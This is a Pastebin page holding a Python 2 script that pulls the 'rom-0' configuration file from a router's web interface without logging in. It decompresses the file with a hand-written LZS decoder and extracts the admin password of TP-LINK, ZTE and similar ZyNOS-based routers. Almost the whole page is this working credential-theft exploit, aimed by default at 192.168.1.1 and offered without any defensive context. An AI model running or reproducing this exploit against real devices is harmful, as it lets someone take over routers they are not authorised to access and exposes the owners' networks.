Advertisement
8thbit

Test

Jan 13th, 2015
244
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.88 KB | None | 0 0
  1. import os
  2. import sys
  3. import urllib
  4. import requests
  5. import telnetlib
  6. import collections
  7.  
  8. class BitReader:
  9.    
  10.     def __init__(self, bytes):
  11.         self._bits = collections.deque()
  12.        
  13.         for byte in bytes:
  14.             byte = ord(byte)
  15.             for n in xrange(8):
  16.                 self._bits.append(bool((byte >> (7-n)) & 1))
  17.            
  18.     def getBit(self):
  19.         return self._bits.popleft()
  20.        
  21.     def getBits(self, num):
  22.         res = 0
  23.         for i in xrange(num):
  24.             res += self.getBit() << num-1-i
  25.         return res
  26.        
  27.     def getByte(self):
  28.         return self.getBits(8)
  29.        
  30.     def __len__(self):
  31.         return len(self._bits)
  32.        
  33. class RingList:
  34.    
  35.     def __init__(self, length):
  36.         self.__data__ = collections.deque()
  37.         self.__full__ = False
  38.         self.__max__ = length
  39.  
  40.     def append(self, x):
  41.         if self.__full__:
  42.             self.__data__.popleft()
  43.         self.__data__.append(x)
  44.         if self.size() == self.__max__:
  45.             self.__full__ = True
  46.  
  47.     def get(self):
  48.         return self.__data__
  49.  
  50.     def size(self):
  51.         return len(self.__data__)
  52.  
  53.     def maxsize(self):
  54.         return self.__max__
  55.        
  56.     def __getitem__(self, n):
  57.         if n >= self.size():
  58.             return None
  59.         return self.__data__[n]
  60.  
  61. def decodePasswordLocal(host):
  62.     # Sometimes this might output a wrong password while finding the exact string.
  63.     # print the result as mentioned below and manually find out
  64.     fname = 'rom-0'
  65.     if os.path.isfile(fname) == True:
  66.         os.remove(fname)
  67.     urllib.urlretrieve ("http://"+host+"/rom-0", fname)
  68.     fpos=8568
  69.     fend=8788
  70.     fhandle=file('rom-0')
  71.     fhandle.seek(fpos)
  72.     chunk="*"
  73.     amount=221
  74.     while fpos < fend:
  75.         if fend-fpos < amount:
  76.             amount = amount
  77.             data = fhandle.read(amount)
  78.             fpos += len(data)
  79.            
  80.     reader = BitReader(data)
  81.     result = ''
  82.        
  83.     window = RingList(2048)
  84.        
  85.     while True:
  86.         bit = reader.getBit()
  87.         if not bit:
  88.             char = reader.getByte()
  89.             result += chr(char)
  90.             window.append(char)
  91.         else:
  92.             bit = reader.getBit()
  93.             if bit:
  94.                 offset = reader.getBits(7)
  95.                 if offset == 0:
  96.                     break
  97.             else:
  98.                 offset = reader.getBits(11)
  99.            
  100.             lenField = reader.getBits(2)
  101.             if lenField < 3:
  102.                 lenght = lenField + 2
  103.             else:
  104.                 lenField <<= 2
  105.                 lenField += reader.getBits(2)
  106.                 if lenField < 15:
  107.                     lenght = (lenField & 0x0f) + 5
  108.                 else:
  109.                     lenCounter = 0
  110.                     lenField = reader.getBits(4)
  111.                     while lenField == 15:
  112.                         lenField = reader.getBits(4)
  113.                         lenCounter += 1
  114.                     lenght = 15*lenCounter + 8 + lenField
  115.            
  116.             for i in xrange(lenght):
  117.                 char = window[-offset]
  118.                 result += chr(char)
  119.                 window.append(char)
  120.  
  121.     result = filter_non_printable(result).decode('unicode_escape').encode('ascii','ignore')
  122.     # In case the password you see is wrong while filtering, manually print it from here and findout.
  123.     #print result
  124.     if 'TP-LINK' in result:
  125.         result = ''.join(result.split()).split('TP-LINK', 1)[0] + 'TP-LINK';
  126.         result = result.replace("TP-LINK", "")
  127.         result = result[1:]
  128.  
  129.     if 'ZTE' in result:
  130.         result = ''.join(result.split()).split('ZTE', 1)[0] + 'ZTE';
  131.         result = result.replace("ZTE", "")
  132.         result = result[1:]
  133.  
  134.     if 'tc160' in result:
  135.         result = ''.join(result.split()).split('tc160', 1)[0] + 'tc160';
  136.         result = result.replace("tc160", "")
  137.         result = result[1:]
  138.     return result
  139. def filter_non_printable(str):
  140.   return ''.join([c for c in str if ord(c) > 31 or ord(c) == 9])
  141.    
  142. print '"' + decodePasswordLocal("192.168.1.1") + '"'
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement